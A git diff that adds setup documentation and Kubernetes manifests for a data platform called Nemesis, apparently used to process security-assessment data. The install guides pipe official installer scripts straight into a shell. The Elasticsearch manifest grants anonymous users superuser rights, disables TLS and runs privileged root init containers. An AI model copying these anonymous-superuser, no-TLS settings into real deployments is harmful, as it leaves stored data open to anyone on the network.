+Additionally, only x64 architecture has been tested and is supported. ARM platforms (e.g., Mac devives with M* chips) are not currently supported but we intend to support these in the future.
+
+# Software Requirements
+**The following requirements need to be installed:**
+
+
+
+Docker and docker-compose
+
+
+**Purpose:** Skaffold uses docker to build container images
+
+ Install [Docker Desktop](https://www.docker.com/products/docker-desktop/) on your machine or [install docker/docker-compose with the following commands:](https://docs.docker.com/engine/install/ubuntu/#install-using-the-convenience-script):
+```bash
+sudo apt-get update
+sudo apt-get install curl
+curl -fsSL https://get.docker.com -o get-docker.sh
+sudo sh get-docker.sh
+
+sudo apt-get install docker-compose
+
+# Allow your user to run docker w/o being root, and then logout and back in
+sudo usermod -aG docker
+```
+**Validation:** `docker ps` should work as a non-root user.
+
+
+
+
+Kubectl
+
+
+**Purpose:** CLI tool to interact with Kubernetes.
+Instructions found here: https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/
+```bash
+sudo apt-get update
+sudo apt-get install -y apt-transport-https curl --yes
+echo "deb [signed-by=/etc/apt/keyrings/kubernetes.gpg] https://apt.kubernetes.io/ kubernetes-xenial main" | sudo tee /etc/apt/sources.list.d/kubernetes.list
+curl -fsSL https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo gpg --dearmor -o /etc/apt/keyrings/kubernetes.gpg
+curl -fsSL https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo gpg --dearmor -o /etc/apt/keyrings/kubernetes-archive-keyring.gpg
+sudo apt-get update
+sudo apt-get install -y kubectl
+```
+**Validation:** `kubectl` should display the tool's usage. Once a Kubernetes cluster is running, `kubectl get pods -A` should show some kubernetes-related pods running.
+
+
+
+
+Kubernetes
+
+
+**Purpose:** Infrastructure for running/managing containerized application.
+
+Install Minikube or enable Kubernetes on Docker Desktop. Install Minikube (at least v1.26.1) by running [the following commands](https://minikube.sigs.k8s.io/docs/start/):
+```bash
+curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
+sudo install minikube-linux-amd64 /usr/local/bin/minikube
+```
+
+Configure the cluster with at a minimum of 3 CPUs and 10Gb of memory:
+```
+minikube config set memory 10240
+minikube config set cpus 3
+```
+
+Then start minikube (you'll need to run this each time the system boots as minikube does not run as a service):
+```
+minikube start
+```
+**Validation:**
+* `minikube status` should show that the Kubernetes services are running
+* `minikube version` should show at least a version greater than v1.26.1
+
+
+**Note 1 - (Optional) Authenticating to a docker registry**
+
+Because Minikube's docker daemon runs on a different machine, you may want to configure it to authenticate to a docker registry (for example, to avoid [docker hub API limits](https://docs.docker.com/docker-hub/download-rate-limit/)). If you've authenticated to a docker registry on your local machine (e.g., [using an access token with dockerhub](https://docs.docker.com/docker-hub/access-tokens/)), you add the credential to Minikube using the following command and it will pull images using that cred:
+
+```bash
+kubectl create secret generic regcred --from-file=.dockerconfigjson=$(realpath ~/.docker/config.json) --type=kubernetes.io/dockerconfigjson
+```
+
+**Note 2 - (Optional) Minikube's docker daemon:**
+
+Minikube creates a Linux VM that has its own docker daemon inside of it. To configure your host OS's docker CLI to use minikube's docker daemon, [see the instructions here](https://skaffold.dev/docs/environment/local-cluster/#minikube-has-a-separate-docker-daemon).
+
+
+
+
+
+
+Helm
+
+
+**Purpose:** Like a package manager, but for Kubernetes stuff.
+
+[Link to Helm's installation instructions.](https://helm.sh/docs/intro/install/#from-apt-debianubuntu)
+
+```bash
+curl https://baltocdn.com/helm/signing.asc | gpg --dearmor | sudo tee /usr/share/keyrings/helm.gpg > /dev/null
+echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/helm.gpg] https://baltocdn.com/helm/stable/debian/ all main" | sudo tee /etc/apt/sources.list.d/helm-stable-debian.list
+sudo apt-get update
+sudo apt-get install helm
+```
+**Validation:** `helm list` should work and not list any installed packages.
+
+
+
+
+Skaffold
+
+
+**Purpose:** Development tool used to auto deploy containers to a Kubernetes cluster anytime the code changes.
+
+[Install Skaffold v1.39.2 with this command](https://github.com/GoogleContainerTools/skaffold/releases/tag/v1.39.2):
+```
+# For Linux x86_64 (amd64)
+curl -Lo skaffold "https://storage.googleapis.com/skaffold/releases/v2.2.0/skaffold-linux-amd64" && chmod +x skaffold && sudo mv skaffold /usr/local/bin
+
+```
+**Validation:** Running `skaffold` should print skaffold's help.
+
+
+
+
+Python, Pyenv, and Poetry
+
+
+## Install Pyenv
+**Purpose:** Manages python environments in a sane way.
+
+1. Install the [relevant prereqs specified by PyEnv](https://github.com/pyenv/pyenv/wiki#suggested-build-environment).
+2. Installation:
+```bash
+curl https://pyenv.run | bash
+```
+3. After running the install script, add the following to `~/.bashrc`:
+```bash
+export PYENV_ROOT="$HOME/.pyenv"
+export PATH="$PYENV_ROOT/bin:$PATH"
+if command -v pyenv 1>/dev/null 2>&1; then
+ eval "$(pyenv init --path)"
+fi
+eval "$(pyenv virtualenv-init -)"
+```
+4. Restart your shell
+5. Install a version of Python and configure the version of Python to use globally on your machine
+```bash
+ pyenv install 3.11.2
+ pyenv global 3.11.2
+```
+
+## Install Poetry
+**Purpose:** Python package and dependency management tool.
+```bash
+python3 -c 'from urllib.request import urlopen; print(urlopen("https://install.python-poetry.org").read().decode())' | python3 -
+```
+
+Add the following to `~/.bashrc`:
+```bash
+PATH="$HOME/.local/bin:$PATH"
+```
+
+Restart your shell
+
+## Install Poetry Environment for Artifact Submission
+**Purpose:** Install the Poetry environment for ./scripts/submit_to_nemesis.sh
+
+`./scripts/submit_to_nemesis.sh` uses code from a Nemesis module that needs its Poetry environment installed first.
+
+```
+poetry -C ./cmd/enrichment/ install
+```
+
+
+
+
+# Setup Configuration
+
+The `nemesis_cli.py` script can accept configuration values through (in descending order of precendence):
+- Applicable environment variables
+- A simple `nemesis.config` YAML file
+- Command line arguments
+
+If configuration values are not supplied and are not currently set in the kubectl instance, the script will prompt the user value input.
+
+## Setup Variables
+
+
+
+Setup Variables
+
+
+| Env Variable | `nemesis.config` entry | cli argument | Description |
+| ------------------------- | ----------------------- | ------------------------- | ------------------------------------------------------------------------------------------ |
+| AWS_REGION | aws_region | --aws_region | The region for the AWS S3 bucket/KMS key |
+| AWS_BUCKET | aws_bucket | --aws_bucket | The AWS S3 bucket name |
+| AWS_KMS_AWS_KMS_KEY_ALIAS | aws_kms_key_alias | --aws_kms_key_alias | The alias of the AWS KMS key |
+| AWS_ACCESS_KEY_ID | aws_access_key_id | --aws_access_key_id | The AWS access key ID |
+| AWS_SECRET_KEY | aws_secret_key | --aws_secret_key | The AWS secret key |
+| MINIO_ROOT_USER | minio_root_user | --minio_root_user | The username for Minio (it not using AWS) |
+| MINIO_ROOT_PASSWORD | minio_root_password | --minio_root_password | The password for Minio (it not using AWS) |
+| MINIO_STORAGE_SIZE | minio_storage_size | --minio_storage_size | Storage size for Minio (e.g., 15Gi) |
+| STORAGE_PROVIDER | storage_provider | --storage_provider | Storage provider to use, either `minio` (default) or `aws` |
+| ASSESSMENT_ID | assessment_id | --assessment_id | An ID for the assessment |
+| NEMESIS_HTTP_SERVER | nemesis_http_server | --nemesis_http_server | The public HTTP server of the Nemesis server (for link creation) |
+| LOG_LEVEL | log_level | --log | DEBUG, INFO, WARNING, ERROR |
+| DATA_EXPIRATION_DAYS | data_expiration_days | --data_expiration_days | The number of days to set for data expiration (default 100) |
+| SLACK_CHANNEL | slack_channel | --slack_channel | A Slack channel name for alerting (w/o #) |
+| SLACK_WEBHOOK | slack_webhook | --slack_webhook | A Slack webhook for alerting (optional) |
+| BASIC_AUTH_USER | basic_auth_user | --basic_auth_user | The username for basic auth to the Nemesis endpoint (default: nemesis) |
+| BASIC_AUTH_PASSWORD | basic_auth_password | --basic_auth_password | The basic auth password for the Nemesis endpoit(default: random 24 characters) |
+| DASHBOARD_USER | dashboard_user | --dashboard_user | The username for the main Nemesis dashboard |
+| DASHBOARD_PASSWORD | dashboard_password | --dashboard_password | The password for the main Nemesis dashboard (default: random 24 characters) |
+| ELASTICSEARCH_USER | elasticsearch_user | --elasticsearch_user | The username for elasticsearch/kibana (default: nemesis) |
+| ELASTICSEARCH_PASSWORD | elasticsearch_password | --elasticsearch_password | The password for elasticsearch/kibana (default: random 24 characters) |
+| GRAFANA_USER | grafana_user | --grafana_user | The user for Grafana auth (default: nemesis) |
+| GRAFANA_PASSWORD | grafana_password | --grafana_password | The password for Grafana auth (default: random 24 characters) |
+| PGADMIN_EMAIL | pgadmin_email | --pgadmin_email | "user@domain.local" email address to use to log into PgAmin (default: nemesis@nemesis.com) |
+| PGADMIN_PASSWORD | pgadmin_password | --pgadmin_password | The password for PgAmin (default: random 24 characters) |
+| POSTGRES_USER | postgres_user | --postgres_user | The user for Postgres (default: nemesis) |
+| POSTGRES_PASSWORD | postgres_password | --postgres_password | The password for Postgres (default: random 24 characters) |
+| RABBITMQ_ADMIN_USER | rabbitmq_admin_user | --rabbitmq_admin_user | Username for the RabbitMQ interface (default: nemesis) |
+| RABBITMQ_ADMIN_PASSWORD | rabbitmq_admin_password | --rabbitmq_admin_password | Password for the RabbitMQ interface (default: random 24 characters) |
+| RABBITMQ_ERLANG_COOKIE | rabbitmq_erlang_cookie | --rabbitmq_erlang_cookie | Password to allow RabbitMQ nodes to communicate (default: random 24 characters) |
+
+
diff --git a/img/nemesis_white.png b/img/nemesis_white.png
new file mode 100644
index 0000000..3d3c873
Binary files /dev/null and b/img/nemesis_white.png differ
diff --git a/kubernetes/dashboard/deployment.yaml b/kubernetes/dashboard/deployment.yaml
new file mode 100644
index 0000000..59f7412
--- /dev/null
+++ b/kubernetes/dashboard/deployment.yaml
@@ -0,0 +1,111 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: dashboard
+ labels:
+ app: dashboard
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: dashboard
+ strategy: {}
+ template:
+ metadata:
+ labels:
+ app: dashboard
+ spec:
+ containers:
+ - env:
+ - name: STREAMLIT_BROWSER_GATHER_USAGE_STATS
+ value: "False"
+
+ - name: PAGE_SIZE
+ value: "10"
+ - name: LOG_LEVEL
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: log-level
+ - name: ENVIRONMENT
+ value: development
+
+ - name: DASHBOARD_USER
+ valueFrom:
+ secretKeyRef:
+ name: dashboard-creds
+ key: dashboard-user
+ - name: DASHBOARD_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: dashboard-creds
+ key: dashboard-password
+
+ - name: STREAMLIT_SERVER_PORT
+ value: "8601"
+
+ - name: NEMESIS_HTTP_SERVER
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: nemesis-http-server
+ - name: PUBLIC_KIBANA_URL
+ value: "$(NEMESIS_HTTP_SERVER)/kibana/"
+ - name: WEB_API_URL
+ value: "$(NEMESIS_HTTP_SERVER)/api/"
+ - name: NLP_URL
+ value: "http://nlp:9803/"
+
+ - name: POSTGRES_SERVER
+ value: postgres
+ - name: POSTGRES_PORT
+ value: "5432"
+ - name: POSTGRES_DATABASE
+ value: nemesis
+ - name: POSTGRES_USER
+ valueFrom:
+ secretKeyRef:
+ name: postgres-creds
+ key: postgres-user
+ - name: POSTGRES_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: postgres-creds
+ key: postgres-password
+ - name: POSTGRES_CONNECTION_URI
+ value: "postgresql://$(POSTGRES_USER):$(POSTGRES_PASSWORD)@$(POSTGRES_SERVER):$(POSTGRES_PORT)/$(POSTGRES_DATABASE)"
+ - name: DB_ITERATION_SIZE
+ value: "1000"
+
+ - name: ELASTICSEARCH_URL
+ value: http://nemesis-es-internal-http:9200/
+ - name: KIBANA_URL
+ value: http://nemesis-kb-http:5601/
+ - name: ELASTICSEARCH_USER
+ valueFrom:
+ secretKeyRef:
+ name: elasticsearch-users
+ key: username
+ - name: ELASTICSEARCH_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: elasticsearch-users
+ key: password
+
+ image: dashboard
+ name: dashboard
+ ports:
+ - containerPort: 8601
+ name: dashboard-http
+ resources: {}
+
+ readinessProbe:
+ httpGet:
+ path: /
+ port: dashboard-http
+ initialDelaySeconds: 5
+ periodSeconds: 5
+ timeoutSeconds: 5
+ failureThreshold: 10
+ restartPolicy: Always
+status: {}
diff --git a/kubernetes/dashboard/ingress.yaml b/kubernetes/dashboard/ingress.yaml
new file mode 100644
index 0000000..02f508d
--- /dev/null
+++ b/kubernetes/dashboard/ingress.yaml
@@ -0,0 +1,23 @@
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+ name: dashboard-ingress
+ annotations:
+ nginx.ingress.kubernetes.io/proxy-body-size: "1000m"
+ nginx.ingress.kubernetes.io/auth-type: basic
+ nginx.ingress.kubernetes.io/auth-secret: basic-auth
+ nginx.ingress.kubernetes.io/auth-realm: 'Authentication Required'
+ nginx.ingress.kubernetes.io/ssl-redirect: "false"
+ nginx.ingress.kubernetes.io/rewrite-target: /$2
+spec:
+ ingressClassName: nginx
+ rules:
+ - http:
+ paths:
+ - path: /dashboard(/|$)(.*)
+ pathType: Prefix
+ backend:
+ service:
+ name: dashboard
+ port:
+ number: 8601
\ No newline at end of file
diff --git a/kubernetes/dashboard/service.yaml b/kubernetes/dashboard/service.yaml
new file mode 100644
index 0000000..5674127
--- /dev/null
+++ b/kubernetes/dashboard/service.yaml
@@ -0,0 +1,18 @@
+apiVersion: v1
+kind: Service
+metadata:
+ labels:
+ app: dashboard
+ component: dashboard
+ name: dashboard
+spec:
+ type: NodePort
+ ports:
+ - name: "8601"
+ port: 8601
+ targetPort: 8601
+ nodePort: 30073
+ selector:
+ app: dashboard
+status:
+ loadBalancer: {}
diff --git a/kubernetes/dotnet/deployment.yaml b/kubernetes/dotnet/deployment.yaml
new file mode 100644
index 0000000..61c586b
--- /dev/null
+++ b/kubernetes/dotnet/deployment.yaml
@@ -0,0 +1,99 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: dotnet
+ labels:
+ app: dotnet
+ component: enrichment-pipeline
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: dotnet
+ strategy: {}
+ template:
+ metadata:
+ labels:
+ app: dotnet
+ component: enrichment-pipeline
+ spec:
+ containers:
+ - env:
+ - name: LOG_LEVEL
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: log-level
+ - name: DATA_DOWNLOAD_DIR
+ value: "/tmp"
+ - name: ENVIRONMENT
+ value: development
+ - name: PROMETHEUS_DISABLE_CREATED_SERIES
+ value: "True"
+ # - name: PROMETHEUS_PORT
+ # value: "9801"
+ - name: AWS_ACCESS_KEY_ID
+ valueFrom:
+ secretKeyRef:
+ name: aws-creds
+ key: aws_access_key_id
+ - name: AWS_SECRET_ACCESS_KEY
+ valueFrom:
+ secretKeyRef:
+ name: aws-creds
+ key: aws_secret_key
+ - name: AWS_BUCKET
+ valueFrom:
+ configMapKeyRef:
+ name: aws-config
+ key: aws-bucket
+ - name: AWS_DEFAULT_REGION
+ valueFrom:
+ configMapKeyRef:
+ name: aws-config
+ key: aws-default-region
+ - name: AWS_KMS_KEY_ALIAS
+ valueFrom:
+ configMapKeyRef:
+ name: aws-config
+ key: aws-kms-key-alias
+ - name: ASSESSMENT_ID
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: assessment-id
+ - name: STORAGE_PROVIDER
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: storage_provider
+ - name: MINIO_ROOT_USER
+ valueFrom:
+ secretKeyRef:
+ name: minio-creds
+ key: minio_root_user
+ - name: MINIO_ROOT_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: minio-creds
+ key: minio_root_password
+
+ image: nemesis-dotnet
+ name: nemesis-dotnet
+ ports:
+ - containerPort: 9800
+ name: dotnet-http
+ # - containerPort: 9801
+ # name: dotnet-prom
+ resources: {}
+ readinessProbe:
+ httpGet:
+ path: /ready
+ port: dotnet-http
+ initialDelaySeconds: 5
+ periodSeconds: 5
+ timeoutSeconds: 5
+ failureThreshold: 10
+
+ restartPolicy: Always
+status: {}
diff --git a/kubernetes/dotnet/service.yaml b/kubernetes/dotnet/service.yaml
new file mode 100644
index 0000000..3cb0a57
--- /dev/null
+++ b/kubernetes/dotnet/service.yaml
@@ -0,0 +1,22 @@
+apiVersion: v1
+kind: Service
+metadata:
+ name: dotnet
+ labels:
+ app: dotnet
+ component: enrichment-pipeline
+spec:
+ type: NodePort
+ ports:
+ - name: "9800"
+ port: 9800
+ targetPort: 9800
+ nodePort: 31800
+ # - name: "9801"
+ # port: 9801
+ # targetPort: 9801
+ # nodePort: 31801
+ selector:
+ app: dotnet
+status:
+ loadBalancer: {}
diff --git a/kubernetes/elastic/elasticsearch.yaml b/kubernetes/elastic/elasticsearch.yaml
new file mode 100644
index 0000000..6a8eec5
--- /dev/null
+++ b/kubernetes/elastic/elasticsearch.yaml
@@ -0,0 +1,138 @@
+apiVersion: elasticsearch.k8s.elastic.co/v1
+kind: Elasticsearch
+metadata:
+ name: nemesis
+spec:
+ version: 8.8.0
+ auth:
+ fileRealm:
+ - secretName: elasticsearch-users
+ http:
+ tls:
+ selfSignedCertificate:
+ disabled: true
+ nodeSets:
+ - name: default
+ count: 1
+ config:
+ xpack.security.authc:
+ anonymous:
+ username: anonymous
+ roles: superuser
+ authz_exception: false
+ podTemplate:
+ spec:
+ initContainers: # see https://www.elastic.co/guide/en/cloud-on-k8s/current/k8s-virtual-memory.html#k8s-virtual-memory
+ - name: sysctl
+ securityContext:
+ privileged: true
+ runAsUser: 0
+ command: ["sh", "-c", "sysctl -w vm.max_map_count=262144"]
+ - name: volume-mount-hack
+ image: busybox
+ securityContext:
+ privileged: true
+ runAsUser: 0
+ command: ["sh", "-c", "chown -R 1000:1000 /usr/share/elasticsearch/data"]
+ volumeMounts:
+ - name: elasticsearch-data-volume
+ mountPath: /usr/share/elasticsearch/data
+ containers:
+ - name: elasticsearch
+ resources:
+ requests:
+ cpu: "1000m"
+ memory: "1.5G"
+ limits:
+ cpu: "2000m"
+ memory: "3G"
+ env:
+ - name: ES_JAVA_OPTS
+ value: "-Xmx1024m -Xms1024m"
+ volumeMounts:
+ - mountPath: /usr/share/elasticsearch/data
+ name: elasticsearch-data-volume
+ restartPolicy: Always
+ volumes:
+ - name: elasticsearch-data-volume
+ persistentVolumeClaim:
+ claimName: elasticsearch-data-pvc
+
+---
+apiVersion: v1
+kind: PersistentVolume
+metadata:
+ name: elasticsearch-data-pv
+ labels:
+ type: local
+ app: elasticsearch
+spec:
+ storageClassName: manual
+ capacity:
+ storage: 20Gi
+ accessModes:
+ - ReadWriteOnce
+ persistentVolumeReclaimPolicy: Retain
+ hostPath:
+ path: "/mnt/data/elastic2/"
+---
+kind: PersistentVolumeClaim
+apiVersion: v1
+metadata:
+ name: elasticsearch-data-pvc
+ labels:
+ app: elasticsearch
+spec:
+ storageClassName: manual
+ accessModes:
+ - ReadWriteOnce
+ resources:
+ requests:
+ storage: 20Gi
+ volumeName: elasticsearch-data-pv # the volume we want this claim to bind to
+
+
+# # Comment the above and uncomment the following to have data wiped on each run,
+# # otherwise data is stored persistently
+# apiVersion: elasticsearch.k8s.elastic.co/v1
+# kind: Elasticsearch
+# metadata:
+# name: nemesis
+# spec:
+# version: 8.8.0
+# auth:
+# fileRealm:
+# - secretName: elasticsearch-users
+# http:
+# tls:
+# selfSignedCertificate:
+# disabled: true
+# nodeSets:
+# - name: default
+# count: 1
+# config:
+# xpack.security.authc:
+# anonymous:
+# username: anonymous
+# roles: superuser
+# authz_exception: false
+# podTemplate:
+# spec:
+# initContainers: # see https://www.elastic.co/guide/en/cloud-on-k8s/current/k8s-virtual-memory.html#k8s-virtual-memory
+# - name: sysctl
+# securityContext:
+# privileged: true
+# runAsUser: 0
+# command: ["sh", "-c", "sysctl -w vm.max_map_count=262144"]
+# containers:
+# - name: elasticsearch
+# resources: # Cranking down resource requirements for dev
+# requests:
+# cpu: "500m"
+# memory: "1G"
+# limits:
+# cpu: "1000m"
+# memory: "2G"
+# env:
+# - name: ES_JAVA_OPTS
+# value: "-Xmx512m -Xms512m"
\ No newline at end of file
diff --git a/kubernetes/elastic/ingress.yaml b/kubernetes/elastic/ingress.yaml
new file mode 100644
index 0000000..5776d24
--- /dev/null
+++ b/kubernetes/elastic/ingress.yaml
@@ -0,0 +1,47 @@
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+ name: kibana-ingress
+ annotations:
+ nginx.ingress.kubernetes.io/auth-type: basic
+ nginx.ingress.kubernetes.io/auth-secret: basic-auth
+ nginx.ingress.kubernetes.io/auth-realm: 'Authentication Required'
+ ingress.kubernetes.io/ssl-redirect: "false"
+ nginx.ingress.kubernetes.io/rewrite-target: /$2
+spec:
+ ingressClassName: nginx
+ rules:
+ - http:
+ paths:
+ - path: /kibana(/|$)(.*)
+ pathType: Prefix
+ backend:
+ service:
+ name: nemesis-kb-http
+ port:
+ number: 5601
+---
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+ name: elastic-ingress
+ annotations:
+ nginx.ingress.kubernetes.io/auth-type: basic
+ nginx.ingress.kubernetes.io/auth-secret: basic-auth
+ nginx.ingress.kubernetes.io/auth-realm: 'Authentication Required'
+ ingress.kubernetes.io/ssl-redirect: "false"
+ nginx.ingress.kubernetes.io/rewrite-target: /$2
+ nginx.ingress.kubernetes.io/configuration-snippet: |
+ proxy_set_header X-Script-Name /elastic;
+spec:
+ ingressClassName: nginx
+ rules:
+ - http:
+ paths:
+ - path: /elastic(/|$)(.*)
+ pathType: Prefix
+ backend:
+ service:
+ name: nemesis-es-http
+ port:
+ number: 9200
diff --git a/kubernetes/elastic/kibana.yaml b/kubernetes/elastic/kibana.yaml
new file mode 100644
index 0000000..7ced38e
--- /dev/null
+++ b/kubernetes/elastic/kibana.yaml
@@ -0,0 +1,182 @@
+apiVersion: kibana.k8s.elastic.co/v1
+kind: Kibana
+metadata:
+ name: nemesis
+spec:
+ version: 8.8.0
+ count: 1
+ elasticsearchRef:
+ name: nemesis
+ config:
+ telemetry.enabled: false
+ telemetry.optIn: false
+ newsfeed.enabled: false
+ http:
+ tls:
+ selfSignedCertificate:
+ disabled: true
+ podTemplate:
+ spec:
+ containers:
+ - name: kibana
+ env:
+ - name: SERVER_BASEPATH
+ value: "/kibana"
+ - name: ELASTIC_URL
+ value: http://nemesis-es-http.default.svc.cluster.local:9200
+ - name: KIBANA_URL
+ value: http://nemesis-kb-http.default.svc.cluster.local:5601
+ - name: ELASTICSEARCH_USER
+ valueFrom:
+ secretKeyRef:
+ name: elasticsearch-users
+ key: username
+ - name: ELASTICSEARCH_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: elasticsearch-users
+ key: password
+---
+# Reference: https://github.com/sjbavier/Reference/blob/2b19339f007a82c180d73b7edb662bfe5b6fb9ee/google-cloud/examples/click-to-deploy/k8s/elastic-gke-logging/chart/elastic-gke-logging/templates/kibana-manifests.yaml
+apiVersion: batch/v1
+kind: Job
+metadata:
+ name: kibana-init-job
+spec:
+ template:
+ spec:
+ initContainers:
+ - name: kibana-waiter
+ image: alpine:3.17.0
+ command: ["/bin/sh", "-c"]
+ args:
+ - |
+ apk --update add jq curl
+
+ echo "Waiting for Kibana..."
+
+ COUNTER=1
+ until curl --silent --user "${ELASTICSEARCH_USER}:${ELASTICSEARCH_PASSWORD}" --insecure --max-time 5 \
+ ${KIBANA_URL}/api/status \
+ | jq '.status.overall.level' \
+ | grep "available" > /dev/null; do
+ echo "Retry ${COUNTER}: Waiting for Kibana at ${KIBANA_URL}..."
+ COUNTER=`expr ${COUNTER} + 1`
+ sleep 5
+ done
+
+ echo "Kibana available."
+ env:
+ - name: KIBANA_URL
+ value: http://nemesis-kb-http.default.svc.cluster.local:5601
+ - name: ELASTICSEARCH_USER
+ valueFrom:
+ secretKeyRef:
+ name: elasticsearch-users
+ key: username
+ - name: ELASTICSEARCH_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: elasticsearch-users
+ key: password
+ containers:
+ - name: kibana-init
+ image: alpine:3.17.0
+ command: ["/bin/sh", "-c"]
+ args:
+ - |
+ apk --update add curl
+
+ curl "${KIBANA_URL}/api/saved_objects/_import?overwrite=true" \
+ --form file=@/etc/kibana-config/saved-objects.ndjson \
+ --insecure \
+ --silent \
+ --fail \
+ --show-error \
+ -H "kbn-xsrf: true" \
+ -o /dev/null \
+ --user "${ELASTICSEARCH_USER}:${ELASTICSEARCH_PASSWORD}"
+
+ curl -X PUT "${ELASTIC_URL}/file_data_plaintext" -H "Content-Type: application/json" -d'
+ {
+ "settings": {
+ "index" : {
+ "highlight.max_analyzed_offset" : 10000000
+ }
+ }
+ }
+ '
+
+ curl -X PUT "${ELASTIC_URL}/_cluster/settings" -H "Content-Type: application/json" -d'
+ {
+ "persistent": {
+ "search.max_async_search_response_size": "50mb"
+ }
+ }
+ '
+
+ volumeMounts:
+ - name: config
+ mountPath: /etc/kibana-config
+ env:
+ - name: ELASTIC_URL
+ value: http://nemesis-es-http.default.svc.cluster.local:9200
+ - name: KIBANA_URL
+ value: http://nemesis-kb-http.default.svc.cluster.local:5601
+ - name: ELASTICSEARCH_USER
+ valueFrom:
+ secretKeyRef:
+ name: elasticsearch-users
+ key: username
+ - name: ELASTICSEARCH_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: elasticsearch-users
+ key: password
+ restartPolicy: Never
+ volumes:
+ - name: config
+ configMap:
+ name: kibana
+ backoffLimit: 1
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+ name: kibana
+ labels:
+ app: kibana
+data:
+ saved-objects.ndjson: |
+ {"attributes":{"fieldAttrs":"{\"kubernetes.container_name\":{\"count\":1},\"kubernetes.labels.app\":{\"count\":2},\"kubernetes.pod_ip\":{\"count\":1},\"kubernetes.pod_name\":{\"count\":3},\"log\":{\"count\":2},\"tag\":{\"count\":1},\"kubernetes.labels.component\":{\"count\":1}}","fields":"[]","runtimeFieldMap":"{}","timeFieldName":"@timestamp","title":"fluentd-*","typeMeta":"{}"},"coreMigrationVersion":"8.3.3","id":"50ee9180-7ccf-11ed-b4d6-697552d297be","migrationVersion":{"index-pattern":"8.0.0"},"references":[],"sort":[1671304759231,545],"type":"index-pattern","updated_at":"2022-12-17T19:19:19.231Z","version":"WzUwMiwxXQ=="}
+ {"attributes":{"fieldAttrs":"{}","fields":"[]","runtimeFieldMap":"{}","timeFieldName":"metadata.timestamp","title":"service_enriched","typeMeta":"{}"},"coreMigrationVersion":"8.3.3","id":"5ef6715c-a035-4bc7-a8fc-724e1963c19f","migrationVersion":{"index-pattern":"8.0.0"},"references":[],"type":"index-pattern","updated_at":"2023-03-21T04:42:54.962Z","version":"Wzk2LDFd"}
+ {"attributes":{"fieldAttrs":"{}","fields":"[]","runtimeFieldMap":"{}","timeFieldName":"metadata.timestamp","title":"authentication_data","typeMeta":"{}"},"coreMigrationVersion":"8.3.3","id":"dbf88f6c-1d07-41f7-80e7-8998b7195637","migrationVersion":{"index-pattern":"8.0.0"},"references":[],"type":"index-pattern","updated_at":"2023-03-21T04:42:54.962Z","version":"Wzk2LDFd"}
+ {"attributes":{"fieldAttrs":"{}","fields":"[]","runtimeFieldMap":"{}","timeFieldName":"metadata.timestamp","title":"extracted_hash","typeMeta":"{}"},"coreMigrationVersion":"8.3.3","id":"d884e1d0-c7a2-11ed-99da-e7509f36608c","migrationVersion":{"index-pattern":"8.0.0"},"references":[],"type":"index-pattern","updated_at":"2023-03-21T04:42:54.962Z","version":"Wzk2LDFd"}
+ {"attributes":{"columns":["kubernetes.pod_name","log"],"description":"Logs from all pods with filters attempting to exclude common endpoints hit for health/metrics","grid":{"columns":{"kubernetes.container_name":{"width":208},"kubernetes.labels.app":{"width":398.6666666666667},"kubernetes.pod_ip":{"width":129.66666666666663},"kubernetes.pod_name":{"width":206.66666666666669}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"NOT log:\\\"GET /ready\\\" AND NOT log:\\\"\\\\\\\"uri\\\\\\\":\\\\\\\"/prometheus/metrics\\\\\\\",\\\\\\\"method\\\\\\\":\\\\\\\"GET\\\\\\\"\\\" AND NOT log:\\\"GET /metrics\\\"\",\"language\":\"kuery\"},\"filter\":[],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["@timestamp","desc"]],"title":"Logs - All Pods"},"coreMigrationVersion":"8.3.3","id":"00def580-7cda-11ed-b4d6-697552d297be","migrationVersion":{"search":"8.0.0"},"references":[{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"}],"sort":[1671304274669,44],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzMyLDFd"}
+ {"attributes":{"allowNoIndex":true,"fieldAttrs":"{}","fieldFormatMap":"{\"objectIdURL\":{\"id\":\"url\"},\"originatingObjectURL\":{\"id\":\"url\"}}","fields":"[]","runtimeFieldMap":"{}","timeFieldName":"metadata.timestamp","title":"file_data_plaintext","typeMeta":"{}"},"coreMigrationVersion":"8.3.3","id":"0e93c4fb-c291-4d22-84da-e49ec27b959a","migrationVersion":{"index-pattern":"8.0.0"},"references":[],"sort":[1671304274669,64],"type":"index-pattern","updated_at":"2022-12-17T19:11:14.669Z","version":"WzQyLDFd"}
